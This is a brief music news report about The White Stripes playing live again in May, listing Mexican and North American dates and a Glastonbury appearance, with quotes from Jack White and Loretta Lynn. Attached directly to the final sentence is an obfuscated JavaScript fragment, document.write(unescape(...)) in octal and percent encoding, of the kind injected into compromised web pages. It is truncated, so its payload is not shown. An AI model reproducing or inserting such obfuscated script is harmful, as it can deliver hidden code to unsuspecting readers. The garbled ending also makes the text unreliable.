The White Stripes return to the stage

The White Stripes are to make their live return in May.

The duo have been in the studio in the last couple of weeks working on songs for the follow-up to 'Elephant'.

The group will road-test their new songs with a handful of Mexican shows in May.

A date in North America is also set for June, but their only planned UK date so far is at the Glastonbury Festival on June 24.

The dates are:

Monterrey Fundidora Amphitheatre (May 11)
Guadalajara Foro Alterno (13)
Mexico City Sports Palace (14)
Atlanta Music Midtown Festival (June 10)

Jack White has also just completed work on a collaborative LP with pal Brendan Benson.

Talking about his intensive work schedule, White said: "I've done it [this way] for a long time, in my attic and out of my house, making 45s for bands. When bands would come to town, they'd stay at my house and we'd cut an album. (We'd do the same thing with) local Detroit bands.”

He told MTV News: "I've been doing it for as long as I've been writing, and for as long as I've had bands, I've been recording. I never knew too much about the technical side, I just wanted to get things on tape that were soulful. And that's the same thing with (Loretta Lynn's 'Van Lear Rose'). It was on 8-track, and we did it in 12 days."

Lynn is also hoping to work again with The White Stripes's mainman again, saying: “We haven't talked too much lately. He's been working, and I have too. We will try to do some songs together pretty soon. I would like to get with him and write some stuff for my new album."document.write(unescape('\04564%6F%63um\145%6Et.%77r%69t\145\04528u%6E\04565s\04563ap\04565\04528\047\045253C%21%5C0\0645\062D%252D\047)\051;